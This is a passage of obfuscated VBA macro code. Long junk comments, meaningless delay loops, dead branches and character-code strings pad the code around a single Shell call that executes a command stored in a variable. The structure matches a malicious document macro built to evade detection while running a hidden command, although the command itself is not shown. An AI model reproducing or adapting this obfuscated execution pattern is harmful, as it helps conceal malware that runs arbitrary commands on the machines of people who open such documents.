'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next nfpgrjnt 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(103) & ChrW(116) & ChrW(121) & ChrW(101) & ChrW(104) & ChrW(105) & ChrW(105) & ChrW(116) & ChrW(57) & ChrW(50)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(116) & ChrW(103) & ChrW(117) & ChrW(113) & ChrW(107) & ChrW(106) & ChrW(99) & ChrW(102) & ChrW(52) & ChrW(49) & ChrW(51) & ChrW(55)) = Len(ChrW(117) & ChrW(108) & ChrW(113) & ChrW(98) & ChrW(110) & ChrW(104) & ChrW(99) & ChrW(109)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim inkognvq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ptvyphek As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ptvyphek = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ptvyphek 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq inkognvq = 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While inkognvq < 47 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim mvynvtdr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For mvynvtdr = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next mvynvtdr 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: inkognvq = inkognvq + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim cplnqdhz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For cplnqdhz = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next cplnqdhz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim whkzuqro As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For whkzuqro = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next whkzuqro 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim csgkpiae As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ebnwytuz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ebnwytuz = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ebnwytuz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq csgkpiae = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While csgkpiae < 29 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim lzhofkiy As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For lzhofkiy = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next lzhofkiy 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: csgkpiae = csgkpiae + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim wmmegdyo As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For wmmegdyo = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next wmmegdyo 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim pqmvppmr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For pqmvppmr = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next pqmvppmr 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq wgeidynimaz = Shell(ebwqwtjzaph, 1) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 144339 = 144339 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 1984 < 37 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim flrwjwgy As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bwttzlse As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For bwttzlse = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next bwttzlse 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq flrwjwgy = 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While flrwjwgy < 98 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim zirluxly As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For zirluxly = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next zirluxly 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: flrwjwgy = flrwjwgy + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim khvjbsrt As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For khvjbsrt = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next khvjbsrt 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim jwbqlfyc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For jwbqlfyc = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next jwbqlfyc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(100) & ChrW(113) & ChrW(105) & ChrW(120) & ChrW(108) & ChrW(117) & ChrW(115) & ChrW(102) & ChrW(53) & ChrW(56)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(109) & ChrW(110) & ChrW(113) & ChrW(109) & ChrW(122) & ChrW(110) & ChrW(117) & ChrW(116) & ChrW(52) & ChrW(50) & ChrW(53) & ChrW(55)) = Len(ChrW(101) & ChrW(103) & ChrW(108) & ChrW(106) & ChrW(110) & ChrW(106) & ChrW(108) & ChrW(114)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim fcftmjqh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim khwolihx As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For khwolihx = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next khwolihx 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq fcftmjqh = 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While fcftmjqh < 52 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tjyllcfn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tjyllcfn = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tjyllcfn 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: fcftmjqh = fcftmjqh + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rxyfjrdk As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rxyfjrdk = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rxyfjrdk 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim fjthgijx As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For fjthgijx = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next fjthgijx 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim allpmsst As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim pshapbkz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For pshapbkz = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next pshapbkz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq allpmsst = 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While allpmsst < 86 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ydmjtthn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ydmjtthn = 0 To 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ydmjtthn 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: allpmsst = allpmsst + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim yodkppoh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For yodkppoh = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next yodkppoh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim klrbhsyk As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For klrbhsyk = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next klrbhsyk 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Set kderacuvhjh = Nothing 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 323796 = 323796 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 6937 < 35 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xcdswmnl As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ylkyogwe As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ylkyogwe = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ylkyogwe 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq xcdswmnl = 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While xcdswmnl < 72 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim zdeohzis As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For zdeohzis = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next zdeohzis 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: xcdswmnl = xcdswmnl + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bedcysdu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For bedcysdu = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next bedcysdu 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim pkihjpvz As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For pkihjpvz = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next pkihjpvz 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(105) & ChrW(102) & ChrW(121) & ChrW(122) & ChrW(109) & ChrW(118) & ChrW(101) & ChrW(109) & ChrW(52) & ChrW(56)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(98) & ChrW(99) & ChrW(105) & ChrW(111) & ChrW(120) & ChrW(117) & ChrW(108) & ChrW(101) & ChrW(49) & ChrW(50) & ChrW(57) & ChrW(49)) = Len(ChrW(110) & ChrW(122) & ChrW(113) & ChrW(99) & ChrW(114) & ChrW(121) & ChrW(107) & ChrW(111)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim yhmznjcg As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim lgksecwv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For lgksecwv = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next lgksecwv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq yhmznjcg = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While yhmznjcg < 52 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim nvekvajv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For nvekvajv = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next nvekvajv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: yhmznjcg = yhmznjcg + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ovunjxsa As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ovunjxsa = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ovunjxsa 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim syatpmaw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For syatpmaw = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next syatpmaw 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim wuckfswt As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim epsdezvv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For epsdezvv = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next epsdezvv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq wuckfswt = 9 